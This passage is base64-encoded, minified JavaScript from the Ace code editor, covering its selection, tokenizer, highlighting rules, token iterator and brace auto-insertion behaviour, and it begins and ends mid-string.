2YXIgZT10aGlzLnJhbmdlcy5tYXAoZnVuY3Rpb24oZSl7dmFyIHQ9ZS5jbG9uZSgpO3JldHVybiB0LmlzQmFja3dhcmRzPWUuY3Vyc29yPT1lLnN0YXJ0LHR9KTtlbHNle3ZhciBlPXRoaXMuZ2V0UmFuZ2UoKTtlLmlzQmFja3dhcmRzPXRoaXMuaXNCYWNrd2FyZHMoKX1yZXR1cm4gZX0sdGhpcy5mcm9tSlNPTj1mdW5jdGlvbihlKXtpZihlLnN0YXJ0PT11bmRlZmluZWQpe2lmKHRoaXMucmFuZ2VMaXN0JiZlLmxlbmd0aD4xKXt0aGlzLnRvU2luZ2xlUmFuZ2UoZVswXSk7Zm9yKHZhciB0PWUubGVuZ3RoO3QtLTspe3ZhciBuPW8uZnJvbVBvaW50cyhlW3RdLnN0YXJ0LGVbdF0uZW5kKTtlW3RdLmlzQmFja3dhcmRzJiYobi5jdXJzb3I9bi5zdGFydCksdGhpcy5hZGRSYW5nZShuLCEwKX1yZXR1cm59ZT1lWzBdfXRoaXMucmFuZ2VMaXN0JiZ0aGlzLnRvU2luZ2xlUmFuZ2UoZSksdGhpcy5zZXRTZWxlY3Rpb25SYW5nZShlLGUuaXNCYWNrd2FyZHMpfSx0aGlzLmlzRXF1YWw9ZnVuY3Rpb24oZSl7aWYoKGUubGVuZ3RofHx0aGlzLnJhbmdlQ291bnQpJiZlLmxlbmd0aCE9dGhpcy5yYW5nZUNvdW50KXJldHVybiExO2lmKCFlLmxlbmd0aHx8IXRoaXMucmFuZ2VzKXJldHVybiB0aGlzLmdldFJhbmdlKCkuaXNFcXVhbChlKTtmb3IodmFyIHQ9dGhpcy5yYW5nZXMubGVuZ3RoO3QtLTspaWYoIXRoaXMucmFuZ2VzW3RdLmlzRXF1YWwoZVt0XSkpcmV0dXJuITE7cmV0dXJuITB9fSkuY2FsbCh1LnByb3RvdHlwZSksdC5TZWxlY3Rpb249dX0pLGRlZmluZSgiYWNlL3Rva2VuaXplciIsWyJyZXF1aXJlIiwiZXhwb3J0cyIsIm1vZHVsZSIsImFjZS9jb25maWciXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO3ZhciByPWUoIi4vY29uZmlnIiksaT0yZTMscz1mdW5jdGlvbihlKXt0aGlzLnN0YXRlcz1lLHRoaXMucmVnRXhwcz17fSx0aGlzLm1hdGNoTWFwcGluZ3M9e307Zm9yKHZhciB0IGluIHRoaXMuc3RhdGVzKXt2YXIgbj10aGlzLnN0YXRlc1t0XSxyPVtdLGk9MCxzPXRoaXMubWF0Y2hNYXBwaW5nc1t0XT17ZGVmYXVsdFRva2VuOiJ0ZXh0In0sbz0iZyIsdT1bXTtmb3IodmFyIGE9MDthPG4ubGVuZ3RoO2ErKyl7dmFyIGY9blthXTtmLmRlZmF1bHRUb2tlbiYmKHMuZGVmYXVsdFRva2VuPWYuZGVmYXVsdFRva2VuKSxmLmNhc2VJbnNlbnNpdGl2ZSYmby5pbmRleE9mKCJpIik9PT0tMSYmKG8rPSJpIiksZi51bmljb2RlJiZvLmluZGV4T2YoInUiKT09PS0xJiYobys9InUiKTtpZihmLnJlZ2V4PT1udWxsKWNvbnRpbnVlO2YucmVnZXggaW5zdGFuY2VvZiBSZWdFeHAmJihmLnJlZ2V4PWYucmVnZXgudG9TdHJpbmcoKS5zbGljZSgxLC0xKSk7dmFyIGw9Zi5yZWdleCxjPShuZXcgUmVnRXhwKCIoPzooIitsKyIpfCguKSkiKSkuZXhlYygiYSIpLmxlbmd0aC0yO0FycmF5LmlzQXJyYXkoZi50b2tlbik/Zi50b2tlbi5sZW5ndGg9PTF8fGM9PTE/Zi50b2tlbj1mLnRva2VuWzBdOmMtMSE9Zi50b2tlbi5sZW5ndGg/KHRoaXMucmVwb3J0RXJyb3IoIm51bWJlciBvZiBjbGFzc2VzIGFuZCByZWdleHAgZ3JvdXBzIGRvZXNuJ3QgbWF0Y2giLHtydWxlOmYsZ3JvdXBDb3VudDpjLTF9KSxmLnRva2VuPWYudG9rZW5bMF0pOihmLnRva2VuQXJyYXk9Zi50b2tlbixmLnRva2VuPW51bGwsZi5vbk1hdGNoPXRoaXMuJGFycmF5VG9rZW5zKTp0eXBlb2YgZi50b2tlbj09ImZ1bmN0aW9uIiYmIWYub25NYXRjaCYmKGM+MT9mLm9uTWF0Y2g9dGhpcy4kYXBwbHlUb2tlbjpmLm9uTWF0Y2g9Zi50b2tlbiksYz4xJiYoL1xcXGQvLnRlc3QoZi5yZWdleCk/bD1mLnJlZ2V4LnJlcGxhY2UoL1xcKFswLTldKykvZyxmdW5jdGlvbihlLHQpe3JldHVybiJcXCIrKHBhcnNlSW50KHQsMTApK2krMSl9KTooYz0xLGw9dGhpcy5yZW1vdmVDYXB0dXJpbmdHcm91cHMoZi5yZWdleCkpLCFmLnNwbGl0UmVnZXgmJnR5cGVvZiBmLnRva2VuIT0ic3RyaW5nIiYmdS5wdXNoKGYpKSxzW2ldPWEsaSs9YyxyLnB1c2gobCksZi5vbk1hdGNofHwoZi5vbk1hdGNoPW51bGwpfXIubGVuZ3RofHwoc1swXT0wLHIucHVzaCgiJCIpKSx1LmZvckVhY2goZnVuY3Rpb24oZSl7ZS5zcGxpdFJlZ2V4PXRoaXMuY3JlYXRlU3BsaXR0ZXJSZWdleHAoZS5yZWdleCxvKX0sdGhpcyksdGhpcy5yZWdFeHBzW3RdPW5ldyBSZWdFeHAoIigiK3Iuam9pbigiKXwoIikrIil8KCQpIixvKX19OyhmdW5jdGlvbigpe3RoaXMuJHNldE1heFRva2VuQ291bnQ9ZnVuY3Rpb24oZSl7aT1lfDB9LHRoaXMuJGFwcGx5VG9rZW49ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5zcGxpdFJlZ2V4LmV4ZWMoZSkuc2xpY2UoMSksbj10aGlzLnRva2VuLmFwcGx5KHRoaXMsdCk7aWYodHlwZW9mIG49PSJzdHJpbmciKXJldHVyblt7dHlwZTpuLHZhbHVlOmV9XTt2YXIgcj1bXTtmb3IodmFyIGk9MCxzPW4ubGVuZ3RoO2k8cztpKyspdFtpXSYmKHJbci5sZW5ndGhdPXt0eXBlOm5baV0sdmFsdWU6dFtpXX0pO3JldHVybiByfSx0aGlzLiRhcnJheVRva2Vucz1mdW5jdGlvbihlKXtpZighZSlyZXR1cm5bXTt2YXIgdD10aGlzLnNwbGl0UmVnZXguZXhlYyhlKTtpZighdClyZXR1cm4idGV4dCI7dmFyIG49W10scj10aGlzLnRva2VuQXJyYXk7Zm9yKHZhciBpPTAscz1yLmxlbmd0aDtpPHM7aSsrKXRbaSsxXSYmKG5bbi5sZW5ndGhdPXt0eXBlOnJbaV0sdmFsdWU6dFtpKzFdfSk7cmV0dXJuIG59LHRoaXMucmVtb3ZlQ2FwdHVyaW5nR3JvdXBzPWZ1bmN0aW9uKGUpe3ZhciB0PWUucmVwbGFjZSgvXFwufFxbKD86XFwufFteXFxcXV0pKnxcKFw/Wzo9ITxdfChcKCkvZyxmdW5jdGlvbihlLHQpe3JldHVybiB0PyIoPzoiOmV9KTtyZXR1cm4gdH0sdGhpcy5jcmVhdGVTcGxpdHRlclJlZ2V4cD1mdW5jdGlvbihlLHQpe2lmKGUuaW5kZXhPZigiKD89IikhPS0xKXt2YXIgbj0wLHI9ITEsaT17fTtlLnJlcGxhY2UoLyhcXC4pfChcKCg/Olw/Wz0hXSk/KXwoXCkpfChbXFtcXV0pL2csZnVuY3Rpb24oZSx0LHMsbyx1LGEpe3JldHVybiByP3I9dSE9Il0iOnU/cj0hMDpvPyhuPT1pLnN0YWNrJiYoaS5lbmQ9YSsxLGkuc3RhY2s9LTEpLG4tLSk6cyYmKG4rKyxzLmxlbmd0aCE9MSYmKGkuc3RhY2s9bixpLnN0YXJ0PWEpKSxlfSksaS5lbmQhPW51bGwmJi9eXCkqJC8udGVzdChlLnN1YnN0cihpLmVuZCkpJiYoZT1lLnN1YnN0cmluZygwLGkuc3RhcnQpK2Uuc3Vic3RyKGkuZW5kKSl9cmV0dXJuIGUuY2hhckF0KDApIT0iXiImJihlPSJeIitlKSxlLmNoYXJBdChlLmxlbmd0aC0xKSE9IiQiJiYoZSs9IiQiKSxuZXcgUmVnRXhwKGUsKHR8fCIiKS5yZXBsYWNlKCJnIiwiIikpfSx0aGlzLmdldExpbmVUb2tlbnM9ZnVuY3Rpb24oZSx0KXtpZih0JiZ0eXBlb2YgdCE9InN0cmluZyIpe3ZhciBuPXQuc2xpY2UoMCk7dD1uWzBdLHQ9PT0iI3RtcCImJihuLnNoaWZ0KCksdD1uLnNoaWZ0KCkpfWVsc2UgdmFyIG49W107dmFyIHI9dHx8InN0YXJ0IixzPXRoaXMuc3RhdGVzW3JdO3N8fChyPSJzdGFydCIscz10aGlzLnN0YXRlc1tyXSk7dmFyIG89dGhpcy5tYXRjaE1hcHBpbmdzW3JdLHU9dGhpcy5yZWdFeHBzW3JdO3UubGFzdEluZGV4PTA7dmFyIGEsZj1bXSxsPTAsYz0wLGg9e3R5cGU6bnVsbCx2YWx1ZToiIn07d2hpbGUoYT11LmV4ZWMoZSkpe3ZhciBwPW8uZGVmYXVsdFRva2VuLGQ9bnVsbCx2PWFbMF0sbT11Lmxhc3RJbmRleDtpZihtLXYubGVuZ3RoPmwpe3ZhciBnPWUuc3Vic3RyaW5nKGwsbS12Lmxlbmd0aCk7aC50eXBlPT1wP2gudmFsdWUrPWc6KGgudHlwZSYmZi5wdXNoKGgpLGg9e3R5cGU6cCx2YWx1ZTpnfSl9Zm9yKHZhciB5PTA7eTxhLmxlbmd0aC0yO3krKyl7aWYoYVt5KzFdPT09dW5kZWZpbmVkKWNvbnRpbnVlO2Q9c1tvW3ldXSxkLm9uTWF0Y2g/cD1kLm9uTWF0Y2godixyLG4sZSk6cD1kLnRva2VuLGQubmV4dCYmKHR5cGVvZiBkLm5leHQ9PSJzdHJpbmciP3I9ZC5uZXh0OnI9ZC5uZXh0KHIsbikscz10aGlzLnN0YXRlc1tyXSxzfHwodGhpcy5yZXBvcnRFcnJvcigic3RhdGUgZG9lc24ndCBleGlzdCIscikscj0ic3RhcnQiLHM9dGhpcy5zdGF0ZXNbcl0pLG89dGhpcy5tYXRjaE1hcHBpbmdzW3JdLGw9bSx1PXRoaXMucmVnRXhwc1tyXSx1Lmxhc3RJbmRleD1tKSxkLmNvbnN1bWVMaW5lRW5kJiYobD1tKTticmVha31pZih2KWlmKHR5cGVvZiBwPT0ic3RyaW5nIikhIWQmJmQubWVyZ2U9PT0hMXx8aC50eXBlIT09cD8oaC50eXBlJiZmLnB1c2goaCksaD17dHlwZTpwLHZhbHVlOnZ9KTpoLnZhbHVlKz12O2Vsc2UgaWYocCl7aC50eXBlJiZmLnB1c2goaCksaD17dHlwZTpudWxsLHZhbHVlOiIifTtmb3IodmFyIHk9MDt5PHAubGVuZ3RoO3krKylmLnB1c2gocFt5XSl9aWYobD09ZS5sZW5ndGgpYnJlYWs7bD1tO2lmKGMrKz5pKXtjPjIqZS5sZW5ndGgmJnRoaXMucmVwb3J0RXJyb3IoImluZmluaXRlIGxvb3Agd2l0aCBpbiBhY2UgdG9rZW5pemVyIix7c3RhcnRTdGF0ZTp0LGxpbmU6ZX0pO3doaWxlKGw8ZS5sZW5ndGgpaC50eXBlJiZmLnB1c2goaCksaD17dmFsdWU6ZS5zdWJzdHJpbmcobCxsKz01MDApLHR5cGU6Im92ZXJmbG93In07cj0ic3RhcnQiLG49W107YnJlYWt9fXJldHVybiBoLnR5cGUmJmYucHVzaChoKSxuLmxlbmd0aD4xJiZuWzBdIT09ciYmbi51bnNoaWZ0KCIjdG1wIixyKSx7dG9rZW5zOmYsc3RhdGU6bi5sZW5ndGg/bjpyfX0sdGhpcy5yZXBvcnRFcnJvcj1yLnJlcG9ydEVycm9yfSkuY2FsbChzLnByb3RvdHlwZSksdC5Ub2tlbml6ZXI9c30pLGRlZmluZSgiYWNlL21vZGUvdGV4dF9oaWdobGlnaHRfcnVsZXMiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL2xhbmciXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO3ZhciByPWUoIi4uL2xpYi9sYW5nIiksaT1mdW5jdGlvbigpe3RoaXMuJHJ1bGVzPXtzdGFydDpbe3Rva2VuOiJlbXB0eV9saW5lIixyZWdleDoiXiQifSx7ZGVmYXVsdFRva2VuOiJ0ZXh0In1dfX07KGZ1bmN0aW9uKCl7dGhpcy5hZGRSdWxlcz1mdW5jdGlvbihlLHQpe2lmKCF0KXtmb3IodmFyIG4gaW4gZSl0aGlzLiRydWxlc1tuXT1lW25dO3JldHVybn1mb3IodmFyIG4gaW4gZSl7dmFyIHI9ZVtuXTtmb3IodmFyIGk9MDtpPHIubGVuZ3RoO2krKyl7dmFyIHM9cltpXTtpZihzLm5leHR8fHMub25NYXRjaCl0eXBlb2Ygcy5uZXh0PT0ic3RyaW5nIiYmcy5uZXh0LmluZGV4T2YodCkhPT0wJiYocy5uZXh0PXQrcy5uZXh0KSxzLm5leHRTdGF0ZSYmcy5uZXh0U3RhdGUuaW5kZXhPZih0KSE9PTAmJihzLm5leHRTdGF0ZT10K3MubmV4dFN0YXRlKX10aGlzLiRydWxlc1t0K25dPXJ9fSx0aGlzLmdldFJ1bGVzPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJHJ1bGVzfSx0aGlzLmVtYmVkUnVsZXM9ZnVuY3Rpb24oZSx0LG4saSxzKXt2YXIgbz10eXBlb2YgZT09ImZ1bmN0aW9uIj8obmV3IGUpLmdldFJ1bGVzKCk6ZTtpZihpKWZvcih2YXIgdT0wO3U8aS5sZW5ndGg7dSsrKWlbdV09dCtpW3VdO2Vsc2V7aT1bXTtmb3IodmFyIGEgaW4gbylpLnB1c2godCthKX10aGlzLmFkZFJ1bGVzKG8sdCk7aWYobil7dmFyIGY9QXJyYXkucHJvdG90eXBlW3M/InB1c2giOiJ1bnNoaWZ0Il07Zm9yKHZhciB1PTA7dTxpLmxlbmd0aDt1KyspZi5hcHBseSh0aGlzLiRydWxlc1tpW3VdXSxyLmRlZXBDb3B5KG4pKX10aGlzLiRlbWJlZHN8fCh0aGlzLiRlbWJlZHM9W10pLHRoaXMuJGVtYmVkcy5wdXNoKHQpfSx0aGlzLmdldEVtYmVkcz1mdW5jdGlvbigpe3JldHVybiB0aGlzLiRlbWJlZHN9O3ZhciBlPWZ1bmN0aW9uKGUsdCl7cmV0dXJuKGUhPSJzdGFydCJ8fHQubGVuZ3RoKSYmdC51bnNoaWZ0KHRoaXMubmV4dFN0YXRlLGUpLHRoaXMubmV4dFN0YXRlfSx0PWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHQuc2hpZnQoKSx0LnNoaWZ0KCl8fCJzdGFydCJ9O3RoaXMubm9ybWFsaXplUnVsZXM9ZnVuY3Rpb24oKXtmdW5jdGlvbiBpKHMpe3ZhciBvPXJbc107by5wcm9jZXNzZWQ9ITA7Zm9yKHZhciB1PTA7dTxvLmxlbmd0aDt1Kyspe3ZhciBhPW9bdV0sZj1udWxsO0FycmF5LmlzQXJyYXkoYSkmJihmPWEsYT17fSksIWEucmVnZXgmJmEuc3RhcnQmJihhLnJlZ2V4PWEuc3RhcnQsYS5uZXh0fHwoYS5uZXh0PVtdKSxhLm5leHQucHVzaCh7ZGVmYXVsdFRva2VuOmEudG9rZW59LHt0b2tlbjphLnRva2VuKyIuZW5kIixyZWdleDphLmVuZHx8YS5zdGFydCxuZXh0OiJwb3AifSksYS50b2tlbj1hLnRva2VuKyIuc3RhcnQiLGEucHVzaD0hMCk7dmFyIGw9YS5uZXh0fHxhLnB1c2g7aWYobCYmQXJyYXkuaXNBcnJheShsKSl7dmFyIGM9YS5zdGF0ZU5hbWU7Y3x8KGM9YS50b2tlbix0eXBlb2YgYyE9InN0cmluZyImJihjPWNbMF18fCIiKSxyW2NdJiYoYys9bisrKSkscltjXT1sLGEubmV4dD1jLGkoYyl9ZWxzZSBsPT0icG9wIiYmKGEubmV4dD10KTthLnB1c2gmJihhLm5leHRTdGF0ZT1hLm5leHR8fGEucHVzaCxhLm5leHQ9ZSxkZWxldGUgYS5wdXNoKTtpZihhLnJ1bGVzKWZvcih2YXIgaCBpbiBhLnJ1bGVzKXJbaF0/cltoXS5wdXNoJiZyW2hdLnB1c2guYXBwbHkocltoXSxhLnJ1bGVzW2hdKTpyW2hdPWEucnVsZXNbaF07dmFyIHA9dHlwZW9mIGE9PSJzdHJpbmciP2E6YS5pbmNsdWRlO3AmJihBcnJheS5pc0FycmF5KHApP2Y9cC5tYXAoZnVuY3Rpb24oZSl7cmV0dXJuIHJbZV19KTpmPXJbcF0pO2lmKGYpe3ZhciBkPVt1LDFdLmNvbmNhdChmKTthLm5vRXNjYXBlJiYoZD1kLmZpbHRlcihmdW5jdGlvbihlKXtyZXR1cm4hZS5uZXh0fSkpLG8uc3BsaWNlLmFwcGx5KG8sZCksdS0tfWEua2V5d29yZE1hcCYmKGEudG9rZW49dGhpcy5jcmVhdGVLZXl3b3JkTWFwcGVyKGEua2V5d29yZE1hcCxhLmRlZmF1bHRUb2tlbnx8InRleHQiLGEuY2FzZUluc2Vuc2l0aXZlKSxkZWxldGUgYS5kZWZhdWx0VG9rZW4pfX12YXIgbj0wLHI9dGhpcy4kcnVsZXM7T2JqZWN0LmtleXMocikuZm9yRWFjaChpLHRoaXMpfSx0aGlzLmNyZWF0ZUtleXdvcmRNYXBwZXI9ZnVuY3Rpb24oZSx0LG4scil7dmFyIGk9T2JqZWN0LmNyZWF0ZShudWxsKTtyZXR1cm4gdGhpcy4ka2V5d29yZExpc3Q9W10sT2JqZWN0LmtleXMoZSkuZm9yRWFjaChmdW5jdGlvbih0KXt2YXIgcz1lW3RdLG89cy5zcGxpdChyfHwifCIpO2Zvcih2YXIgdT1vLmxlbmd0aDt1LS07KXt2YXIgYT1vW3VdO3RoaXMuJGtleXdvcmRMaXN0LnB1c2goYSksbiYmKGE9YS50b0xvd2VyQ2FzZSgpKSxpW2FdPXR9fSx0aGlzKSxlPW51bGwsbj9mdW5jdGlvbihlKXtyZXR1cm4gaVtlLnRvTG93ZXJDYXNlKCldfHx0fTpmdW5jdGlvbihlKXtyZXR1cm4gaVtlXXx8dH19LHRoaXMuZ2V0S2V5d29yZHM9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4ka2V5d29yZHN9fSkuY2FsbChpLnByb3RvdHlwZSksdC5UZXh0SGlnaGxpZ2h0UnVsZXM9aX0pLGRlZmluZSgiYWNlL21vZGUvYmVoYXZpb3VyIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1mdW5jdGlvbigpe3RoaXMuJGJlaGF2aW91cnM9e319OyhmdW5jdGlvbigpe3RoaXMuYWRkPWZ1bmN0aW9uKGUsdCxuKXtzd2l0Y2godW5kZWZpbmVkKXtjYXNlIHRoaXMuJGJlaGF2aW91cnM6dGhpcy4kYmVoYXZpb3Vycz17fTtjYXNlIHRoaXMuJGJlaGF2aW91cnNbZV06dGhpcy4kYmVoYXZpb3Vyc1tlXT17fX10aGlzLiRiZWhhdmlvdXJzW2VdW3RdPW59LHRoaXMuYWRkQmVoYXZpb3Vycz1mdW5jdGlvbihlKXtmb3IodmFyIHQgaW4gZSlmb3IodmFyIG4gaW4gZVt0XSl0aGlzLmFkZCh0LG4sZVt0XVtuXSl9LHRoaXMucmVtb3ZlPWZ1bmN0aW9uKGUpe3RoaXMuJGJlaGF2aW91cnMmJnRoaXMuJGJlaGF2aW91cnNbZV0mJmRlbGV0ZSB0aGlzLiRiZWhhdmlvdXJzW2VdfSx0aGlzLmluaGVyaXQ9ZnVuY3Rpb24oZSx0KXtpZih0eXBlb2YgZT09ImZ1bmN0aW9uIil2YXIgbj0obmV3IGUpLmdldEJlaGF2aW91cnModCk7ZWxzZSB2YXIgbj1lLmdldEJlaGF2aW91cnModCk7dGhpcy5hZGRCZWhhdmlvdXJzKG4pfSx0aGlzLmdldEJlaGF2aW91cnM9ZnVuY3Rpb24oZSl7aWYoIWUpcmV0dXJuIHRoaXMuJGJlaGF2aW91cnM7dmFyIHQ9e307Zm9yKHZhciBuPTA7bjxlLmxlbmd0aDtuKyspdGhpcy4kYmVoYXZpb3Vyc1tlW25dXSYmKHRbZVtuXV09dGhpcy4kYmVoYXZpb3Vyc1tlW25dXSk7cmV0dXJuIHR9fSkuY2FsbChyLnByb3RvdHlwZSksdC5CZWhhdmlvdXI9cn0pLGRlZmluZSgiYWNlL3Rva2VuX2l0ZXJhdG9yIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL3JhbmdlIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1lKCIuL3JhbmdlIikuUmFuZ2UsaT1mdW5jdGlvbihlLHQsbil7dGhpcy4kc2Vzc2lvbj1lLHRoaXMuJHJvdz10LHRoaXMuJHJvd1Rva2Vucz1lLmdldFRva2Vucyh0KTt2YXIgcj1lLmdldFRva2VuQXQodCxuKTt0aGlzLiR0b2tlbkluZGV4PXI/ci5pbmRleDotMX07KGZ1bmN0aW9uKCl7dGhpcy5zdGVwQmFja3dhcmQ9ZnVuY3Rpb24oKXt0aGlzLiR0b2tlbkluZGV4LT0xO3doaWxlKHRoaXMuJHRva2VuSW5kZXg8MCl7dGhpcy4kcm93LT0xO2lmKHRoaXMuJHJvdzwwKXJldHVybiB0aGlzLiRyb3c9MCxudWxsO3RoaXMuJHJvd1Rva2Vucz10aGlzLiRzZXNzaW9uLmdldFRva2Vucyh0aGlzLiRyb3cpLHRoaXMuJHRva2VuSW5kZXg9dGhpcy4kcm93VG9rZW5zLmxlbmd0aC0xfXJldHVybiB0aGlzLiRyb3dUb2tlbnNbdGhpcy4kdG9rZW5JbmRleF19LHRoaXMuc3RlcEZvcndhcmQ9ZnVuY3Rpb24oKXt0aGlzLiR0b2tlbkluZGV4Kz0xO3ZhciBlO3doaWxlKHRoaXMuJHRva2VuSW5kZXg+PXRoaXMuJHJvd1Rva2Vucy5sZW5ndGgpe3RoaXMuJHJvdys9MSxlfHwoZT10aGlzLiRzZXNzaW9uLmdldExlbmd0aCgpKTtpZih0aGlzLiRyb3c+PWUpcmV0dXJuIHRoaXMuJHJvdz1lLTEsbnVsbDt0aGlzLiRyb3dUb2tlbnM9dGhpcy4kc2Vzc2lvbi5nZXRUb2tlbnModGhpcy4kcm93KSx0aGlzLiR0b2tlbkluZGV4PTB9cmV0dXJuIHRoaXMuJHJvd1Rva2Vuc1t0aGlzLiR0b2tlbkluZGV4XX0sdGhpcy5nZXRDdXJyZW50VG9rZW49ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kcm93VG9rZW5zW3RoaXMuJHRva2VuSW5kZXhdfSx0aGlzLmdldEN1cnJlbnRUb2tlblJvdz1mdW5jdGlvbigpe3JldHVybiB0aGlzLiRyb3d9LHRoaXMuZ2V0Q3VycmVudFRva2VuQ29sdW1uPWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy4kcm93VG9rZW5zLHQ9dGhpcy4kdG9rZW5JbmRleCxuPWVbdF0uc3RhcnQ7aWYobiE9PXVuZGVmaW5lZClyZXR1cm4gbjtuPTA7d2hpbGUodD4wKXQtPTEsbis9ZVt0XS52YWx1ZS5sZW5ndGg7cmV0dXJuIG59LHRoaXMuZ2V0Q3VycmVudFRva2VuUG9zaXRpb249ZnVuY3Rpb24oKXtyZXR1cm57cm93OnRoaXMuJHJvdyxjb2x1bW46dGhpcy5nZXRDdXJyZW50VG9rZW5Db2x1bW4oKX19LHRoaXMuZ2V0Q3VycmVudFRva2VuUmFuZ2U9ZnVuY3Rpb24oKXt2YXIgZT10aGlzLiRyb3dUb2tlbnNbdGhpcy4kdG9rZW5JbmRleF0sdD10aGlzLmdldEN1cnJlbnRUb2tlbkNvbHVtbigpO3JldHVybiBuZXcgcih0aGlzLiRyb3csdCx0aGlzLiRyb3csdCtlLnZhbHVlLmxlbmd0aCl9fSkuY2FsbChpLnByb3RvdHlwZSksdC5Ub2tlbkl0ZXJhdG9yPWl9KSxkZWZpbmUoImFjZS9tb2RlL2JlaGF2aW91ci9jc3R5bGUiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL29vcCIsImFjZS9tb2RlL2JlaGF2aW91ciIsImFjZS90b2tlbl9pdGVyYXRvciIsImFjZS9saWIvbGFuZyJdLGZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7dmFyIHI9ZSgiLi4vLi4vbGliL29vcCIpLGk9ZSgiLi4vYmVoYXZpb3VyIikuQmVoYXZpb3VyLHM9ZSgiLi4vLi4vdG9rZW5faXRlcmF0b3IiKS5Ub2tlbkl0ZXJhdG9yLG89ZSgiLi4vLi4vbGliL2xhbmciKSx1PVsidGV4dCIsInBhcmVuLnJwYXJlbiIsInJwYXJlbiIsInBhcmVuIiwicHVuY3R1YXRpb24ub3BlcmF0b3IiXSxhPVsidGV4dCIsInBhcmVuLnJwYXJlbiIsInJwYXJlbiIsInBhcmVuIiwicHVuY3R1YXRpb24ub3BlcmF0b3IiLCJjb21tZW50Il0sZixsPXt9LGM9eyciJzonIicsIiciOiInIn0saD1mdW5jdGlvbihlKXt2YXIgdD0tMTtlLm11bHRpU2VsZWN0JiYodD1lLnNlbGVjdGlvbi5pbmRleCxsLnJhbmdlQ291bnQhPWUubXVsdGlTZWxlY3QucmFuZ2VDb3VudCYmKGw9e3JhbmdlQ291bnQ6ZS5tdWx0aVNlbGVjdC5yYW5nZUNvdW50fSkpO2lmKGxbdF0pcmV0dXJuIGY9bFt0XTtmPWxbdF09e2F1dG9JbnNlcnRlZEJyYWNrZXRzOjAsYXV0b0luc2VydGVkUm93Oi0xLGF1dG9JbnNlcnRlZExpbmVFbmQ6IiIsbWF5YmVJbnNlcnRlZEJyYWNrZXRzOjAsbWF5YmVJbnNlcnRlZFJvdzotMSxtYXliZUluc2VydGVkTGluZVN0YXJ0OiIiLG1heWJlSW5zZXJ0ZWRMaW5lRW5kOiIifX0scD1mdW5jdGlvbihlLHQsbixyKXt2YXIgaT1lLmVuZC5yb3ctZS5zdGFydC5yb3c7cmV0dXJue3RleHQ6bit0K3Isc2VsZWN0aW9uOlswLGUuc3RhcnQuY29sdW1uKzEsaSxlLmVuZC5jb2x1bW4rKGk/MDoxKV19fSxkPWZ1bmN0aW9uKGUpe3RoaXMuYWRkKCJicmFjZXMiLCJpbnNlcnRpb24iLGZ1bmN0aW9uKHQsbixyLGkscyl7dmFyIHU9ci5nZXRDdXJzb3JQb3NpdGlvbigpLGE9aS5kb2MuZ2V0TGluZSh1LnJvdyk7aWYocz09InsiKXtoKHIpO3ZhciBsPXIuZ2V0U2VsZWN0aW9uUmFuZ2UoKSxjPWkuZG9jLmdldFRleHRSYW5nZShsKTtpZihjIT09IiImJmMhPT0ieyImJnIuZ2V0V3JhcEJlaGF2aW91cnNFbmFibGVkKCkpcmV0dXJuIHAobCxjLCJ7IiwifSIpO2lmKGQuaXNTYW5lSW5zZXJ0aW9uKHIsaSkpcmV0dXJuL1tcXVx9XCldLy50ZXN0KGFbdS5jb2x1bW5dKXx8ci5pbk11bHRpU2VsZWN0TW9kZXx8ZSYmZS5icmFjZXM/KGQucmVjb3JkQXV0b0luc2VydChyLGksIn0iKSx7dGV4dDoie30iLHNlbGVjdGlvbjpbMSwxXX0pOihkLnJlY29yZE1heWJlSW5zZXJ0KHIsaSwieyIpLHt0ZXh0OiJ7IixzZWxlY3Rpb246WzEsMV19KX1lbHNlIGlmKHM9PSJ9Iil7aChyKTt2YXIgdj1hLnN1YnN0cmluZyh1LmNvbHVtbix1LmNvbHVtbisxKTtpZih2PT0ifSIpe3ZhciBtPWkuJGZpbmRPcGVuaW5nQnJhY2tldCgifSIse2NvbHVtbjp1LmNvbHVtbisxLHJvdzp1LnJvd30pO2lmKG0hPT1udWxsJiZkLmlzQXV0b0luc2VydGVkQ2xvc2luZyh1LGEscykpcmV0dXJuIGQucG9wQXV0b0luc2VydGVkQ2xvc2luZygpLHt0ZXh0OiIiLHNlbGVjdGlvbjpbMSwxXX19fWVsc2V7aWYocz09IlxuInx8cz09IlxyXG4iKXtoKHIpO3ZhciBnPSIiO2QuaXNNYXliZUluc2VydGVkQ2xvc2luZyh1LGEpJiYoZz1vLnN0cmluZ1JlcGVhdCgifSIsZi5tYXliZUluc2VydGVkQnJhY2tldHMpLGQuY2xlYXJNYXliZUluc2VydGVkQ2xvc2luZygpKTt2YXIgdj1hLnN1YnN0cmluZyh1LmNvbHVtbix1LmNvbHVtbisxKTtpZih2PT09In0iKXt2YXIgeT1pLmZpbmRNYXRjaGluZ0JyYWNrZXQoe3Jvdzp1LnJvdyxjb2x1bW46dS5jb2x1bW4rMX0sIn0iKTtpZigheSlyZXR1cm4gbnVsbDt2YXIgYj10aGlzLiRnZXRJbmRlbnQoaS5nZXRMaW5lKHkucm93KSl9ZWxzZXtpZighZyl7ZC5jbGVhck1heWJlSW5zZXJ0ZWRDbG9zaW5nKCk7cmV0dXJufXZhciBiPXRoaXMuJGdldEluZGVudChhKX12YXIgdz1iK2kuZ2V0VGFiU3RyaW5nKCk7cmV0dXJue3RleHQ6IlxuIit3KyJcbiIrYitnLHNlbGVjdGlvbjpbMSx3Lmxlbmd0aCwxLHcubGVuZ3RoXX19ZC5jbGVhck1heWJlSW5zZXJ0ZWRDbG9zaW5nKCl9fSksdGhpcy5hZGQoImJyYWNlcyIsImRlbGV0aW9uIixmdW5jd